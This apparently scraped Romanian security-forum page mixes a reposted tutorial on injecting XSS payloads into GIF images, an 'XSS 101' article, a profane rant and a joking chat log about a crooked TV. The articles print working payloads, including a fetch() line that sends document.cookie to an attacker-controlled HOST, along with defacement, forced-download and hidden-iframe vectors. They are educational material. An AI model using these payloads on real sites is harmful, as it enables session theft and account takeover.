Leaderboard

Introduction Cross Site Scripting is one of the most common and powerful vulnerabilities on the Web. The OWASP organization has classified it in the third place in the top ten of the most critical web applications vulnerabilities (OWASP Top 10 – 2013: https://www.owasp.org/index.php/Top_10_2013-Top_10 ) Figure 1: OWASP TOP 10 – 2013 The cross-site scripting attack is an attack on web applications which allow a hacker to inject malicious scripts to perform malicious actions. The malicious script is executed on the browser side, which makes this attack very powerful and critical. You can have more information about the attack with some good articles here: http://resources.infosecinstitute.com/deadly-consequences-XSS/ Alternatively, here: http://resources.infosecinstitute.com/cross-site-scripting-XSS/ In this article, we will discuss how can we use an image to perform XSS attacks from simple to advanced exploitation. Let’s go deeper Let’s pretend we want to inject a JS script directly, how can we do it? You have to know that if the webmaster/administrator of a platform permits execution of JS scripts from the same domain. If so, we can exploit that! The target just has to have a WYSIWYG editor that permit writing HTML code and downloading images. This is sufficient for a hacker to create a script and inject it into an image, or create an image with an injected payload. What’s a payload? Simply, It is a script that executes malicious actions. Before going deeper into the exploitation, I advise you to read the articles related to these vulnerabilities that I shared with you at the beginning of the article Now imagine that we can exploit XSS with an image. Can we insert it as a comment on an Article? A Blog? With a BEeF hook or another exploitation framework? The results would be chaotic. Now, How Can We Do It? For the exploitation, you will need this script to inject JavaScript into a gif: http://pastebin.com/6yUbfGX5 and this one is for bmp ones: http://pastebin.com/04y7ee3u The two scripts are developed with Python; the most important parts are: The part that handles the opening of an open a valid GIF header in Python with \x2A\x2F (aka *\). Figure 2: The part of the exploit that handles the creation of a valid GIF Header If you open a gif image with a Hexadecimal editor, you can see in the metadata GIF89a, which verify the validity of our exploit. Figure 3: Hexadecimal Editor You can have more information here: http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html Moreover, the part that handles the injecting of the payload: Figure 4: The part of the exploit that handles the injection of the payload Finally, The Exploitation Once you have downloaded the script, tape the following command that permits one to adapt the execution of the script into the Linux environment (the environment used is Kali Linux) Figure 5: Adaptation of the script into Unix environment Then, let’s inject our test script into the image with the following command (we will do the test with a gif image so that we will use the gif injector script ➔ The first one). This is just a simple payload that will show you a JavaScript alert with the message “Learn XSS with gif,” but in a real scenario, an attacker will try to steal your cookie, inject hook (like BEeF one), redirect you to a malicious site such as: Figure 6: Injection of the XSS payload into the gif image The result image will change from [image_name].gif to [image_name]_malw.gif. Now we have injected our script into our image; we can use it as an HTML page with the following script, that is automatically generated: Figure 6: HTML Script to execute the image The image and script source is the output image. Now let’s copy all the content of the directory, and put it into the /var/www directory, then run the apach2 service: Figure 7: Starting APACH2 service Then run the HTML page into your browser and SURPRISE: Figure 8: Execution of the injected XSS payload We can also exploit with a redirection like this: Figure 9: Injection of redirection payload We can also do it in C or ASM, not just in with Python; you can have more information there: https://github.com/jklmnn/imagejs https://gist.github.com/ajinabraham/f2a057fb1930f94886a3 We can also use it with BEeF, which allows to a hacker a golden door to your browser. You can see related article to this powerful framework here: http://resources.infosecinstitute.com/beef-part-1/ How to prevent it The prevention of this type of exploitation is very difficult, but you can provide it with the following points: Always filter user input Use whitelist for the elements loaded, even if it is from the same domain Use high-level models: MVC, PEAR, SRUTS… Use a token based system Moreover, always remember never to let the user write into HTML anywhere on your platform, it is the most important thing. Conclusion The XSS vulnerability is one of the most powerful vulnerabilities on the web, so never underestimate it and never forget that it can be exploited not just with a vulnerable URL, but also can be injected into content like images like we just saw. In the next articles, we will discover how we can exploit XSS into applications and some advanced exploitations. Always remember: Never trust user input Sursa: http://resources.infosecinstitute.com/exploit-xss-image/

Mentalitate de romani in pana mea. Te fute pe tine grija ca-si face omul ala un ban si tu nu. Si de cand cacat o pseudo distributie de linux cu un buncar de cacat este recomandata pentru hacking. Ubuntu este cel mult pentru elevi, politistii de la IGP si eventual studentii de la agronomie.

XSS 101 1. What is XSS? Cross-site scripting (XSS) is both the name of the most common vulnerability in web applications and the exploitation method performed against it. XSS attacks abuse the dynamic way websites interact with their clients, the browsers. It makes possible, for an attacker, to control the victim’s browser and his/her interaction with a given vulnerable website. To display back content provided or controlled by an user, like an URL parameter or an input field, a flawed application opens the door to manipulation of this content. This manipulation, generically called injection, is the XSS attack. Fig 1. Classic XSS popup. Browsers display content using a mix of HTML (basically a text formatting language) and a programming language called javascript. Among other things, javascript is responsible for making things run in response to events in the context of an application. Another window opening when a page loads, the drag and drop of elements of the page and any changes made to the it on the fly (without the need to reload it), for example, are things done by javascript. Javascript code comes between the HTML tags, <script> and </script> (the opening and closing ones, respectively) or in the form of an external include by means of the “src” (source) attribute of this same tag. In this way, libraries (reusable pieces of code) can be added to the current page and executed by browser in that context. So when an attacker is able to inject this pair of tags into a page, any javascript code can be executed if there’s no filter in place (which is usually the vast majority of cases). Because anything an user in a browser can do also can be done by javascript, an attacker has total control over it. Javascript can also appears in common HTML elements, the regular tags. By means of event handlers inside them, like “onload” (when an page element is loaded by browser) or “onmouseover” (when a mouse pointer hovers over something), javascript code can also be executed increasing considerably the numbers of vectors for an XSS attack. Types of XSS Cross-site scripting can occur in the context of an application or not. Out of the context of an application is very rare but more dangerous and it will not be covered here. Focusing on the application, XSS can be caused by server side code (code sent by web server) or client side code (code processed by browser from code sent by web server). Code sent by web server is the source code. It is processed by browser, with the help of the javascript engine, to create the elements of the document in a programmatic manner. This is called DOM (Document Object Model) and it’s generated as soon as the source code arrives. So we have source-based and DOM-based types of XSS in a context of an application. Both have the following execution types. Source-based: Reflected Stored DOM-based: Reflected Stored When the website or application just reflects back content maliciously manipulated by user (usually in the URL), we have a reflected XSS attack. This reflection, as we saw, affects the way browsers display the page and how they process things and behave. Take the following PHP code: $username = $_GET[‘user’]; echo “<h1>Hello, ” . $username . “!</h1>”; Which would display the user name taken from URL like http://mydomain.com/hello.php?user=John In source code, it would be: <h1>Hello, John!</h1> Fig. 2 – Example of parameter value reflection. So, if an attacker use the URL “http://mydomain.com/hello.php?user=<script>alert(1)</script>” he/she will be able to make the browser generate the following source code: <h1>Hello, <script>alert(1)</script>!</h1> Triggering the classic javascript alert box. Fig. 3 – The XSS being triggered. When the website or application stores user input in a database or a file to display it later, like a field in a profile or a comment in a forum, the resulting attack is called persistent or stored XSS. Every user that sees this stored content is a potential victim. While in this last attack, an user just needs to open or navigate to an infected page to be attacked, in the reflected one an user usually must click on attacker’s link, which contains what we call vector or payload, the code used for the XSS attack. Although seeming less dangerous than the stored version, a reflected XSS can also be invisibly embedded into any other website and executes from another browser tab or window in the context of the target application. XSS Basic Examples Usually, for a proof of concept (PoC) of an XSS attack exploring source-based flaws, security testers use one the following code. 1. With <script> tag <script>alert(1)</script> or <script src=//HOST/SCRIPT></script> With HOST being a domain or IP address controlled by tester and SCRIPT being a script with alert(1) as content, like in: <script src=//14.rs></script> 2. With regular HTML tags 2.1 Event-based <TAG EVENT=alert(1)> With TAG being any HTML or XML tag and EVENT being a supported event handler like: <body onload=alert(1)> <img src=1 onerror=alert(1)> <svg onload=alert(1)> <x onmouseover=alert(1)> 2.2 Resource-based <TAG RESOURCE=javascript:alert(1)> With TAG being a proper HTML tag that supports a RESOURCE like: <iframe src=javascript:alert(1)> <object data=javascript:alert(1)> All these make a window pop-up appears with the number one inside. Although useful to show the executing of javascript and then the possibility of hooking the browser for control, it’s better to prove that execution in the context of the application. For this, “alert(1)” is changed to “alert(document.domain)”. Example: <script>alert(document.domain)</script> These are just to prove the vulnerability; for attacks in the wild, a victim of an XSS attack usually will not be able to see anything while his/her browser will perform the attacker’s desired actions. 2. What Can be Done With XSS? These are the main actions that can be performed by an attacker when exploiting an XSS flaw. 2.1. Steal an user session on the vulnerable website (including admins) Browsers use a small text file to store locally important data about a given website. This file contains what we call cookies, pairs of variable and value that have some meaning for the application that sent them to browser. Cookies are used to identify a person after he logged into an application, so server has no need to ask for credentials again every time an user request a resource. While cookies are valid (they expire after a certain time), an user session is active in the application. If these valid cookies are stolen, the thief can impersonate that user and interact with application in the same way the real user does, without even knowing his password. This gives access to all personal data stored about an user, like his telephone number, home address and even his/her credit card details in an e-commerce website, for example. For website administrators (admins), an XSS attack can lead to takeover of his/her website and even the machine where it is hosted. Attack example: <svg onload=fetch(‘//HOST/?cookie=’+document.cookie)> Where HOST is a domain or IP address controlled by attacker. 2.2. Capture the keys pressed by the user By being able to capture what an user types in form fields, like the ones for login (username and password), an attacker can also compromise an user account in a given website. 2.3. Deface the page, serving any type of content Users can be tricked into thinking that visited website was hacked or it’s not functional, which can lead to panic or the impossibility to perform actions in the application like buying an item. Attack example: <svg onload=”document.body.innerHTML='<img src=//HOST/IMAGE>'”> Where HOST is a domain or IP address controlled by attacker and IMAGE is a full screen image with a “Hacked by” message, for example. 2.4. Trick the user into giving his/her credentials by means of a fake HTML form With the ability to serve any content, an attacker can convince an user to enter or reenter his/her credentials in the application, but this time sending them to an attacker. 2.5. Crash the browser (local denial of service) Very rare use, but possible. An attacker may want to keep away a certain rival in an auction, for example, by making his/her browser unresponsive. 2.6. Force download of files It’s straightforward to make user’s browser download any file with XSS, but not necessarily executing it, which would give access to user machine. Unfortunately, due to the fact that an attacker has control over several other aspects of the trusted website, seems not so difficult to also trick the user into open it. Attack Example: <a href=//HOST/FILE download=FILENAME>Download</a> Where HOST is a domain or IP address controlled by attacker, FILE is the file attacker want the victim to download and FILENAME is the name of the file in victim’s machine (user can be forced to download an executable file while saving it as an image, for example). 2.7. Redirect user’s browser to another website where his/her machine can be compromised by memory exploits Again, with the aim to takeover the user machine, an attacker can redirect the browser invisibly to another web address where another prepared application will try to break the browser barrier to access the user operating system (which would lead to compromise). If user has an outdated or vulnerable browser, attacker has great chances of success. Attack Example: <iframe src=//HOST/ style=display:none></iframe> Where is a domain or IP address controlled by attacker. Sursa :

#rip

Mai are cineva fisierele? scuze ca redeschid un topic mort de mult/off

mov_0ah_01: lol mov_0ah_01: uite-i cum doarme pe mine mov_0ah_01: https://www.screencast.com/t/N2keqXvE3x aelius: partea dreapta a televizorului e mai lasata cu 1,5 cm aelius: sa pui bolobocul pe el :)))))) mov_0ah_01: e la boloboc pus aelius: =)))))))) nu e mov_0ah_01: ba e ma aelius: sa verifici, sa vezi mov_0ah_01: pare si mie di poza mov_0ah_01: dar cand l-am pus era la boloboc.. acum 4 ani aelius: s-a lasat fallen_angel: apoi de atunci au fost vreo 3 cutremure mov_0ah_01: nu e lipit de perete, poate d-aia arata asa mov_0ah_01: ma faci sa ma duc sa pun bolobocu pe el acum mov_0ah_01: ma injura nevasta-mea ca se uita la tv mov_0ah_01: nesimtitule aelius: exact 1,5 CM mov_0ah_01: nici nu mai pot dormii la noapte mov_0ah_01: bagami-as pula aelius: pune-l ma, e stramb, eu as darma peretele peste el in pula mea mov_0ah_01: =)))))))))))) aelius: nu-l mai suport aelius: nu stiu cum poti sta in casa cu tv-ul stramb aelius: o sa ramai si cu gatul asa dupa el, inclinat la 10 grade fata de orizontala mov_0ah_01: pai tu tii in pula mea capu` fix drept? aelius: da aelius: la boloboc mov_0ah_01: esti nebun mov_0ah_01: adahgdqa mov_0ah_01: sdasjhdasjfdhgsahahaha aelius: e stramb, sa-mi bag pula aelius: daca apare in film o masa cu un pahar de apa aelius: se vede inclinata apa in el ? aelius: ma furnicaie pielea cand vad tv-ul ala stramb aelius: pune femeia sa tina de televizor aelius: si trage tu putin de perete aelius: eu pe bune zic ca tv-ul e stramb aelius: ia uita-te atent la femeie, sta cumva cu capul inclinat ? mov_0ah_01: da, o fi stramb, posibil e... nu-mi mai pasa mov_0ah_01: PAI EA E FEMEIE ESTI TAMPIT mov_0ah_01: SI CAND STA DREAPTA E STRAMBA aelius: ma ia stai asa aelius: si catelu e stramb frate Vorbesc intre timp cu whois pe privat si spun sa-i puna un boloboc sub tv in poza. Ma mai gandesc 10 secunde si spun sa adauge inca un boloboc mic si pe cainele ala. Rezultat final: :))))))))))))))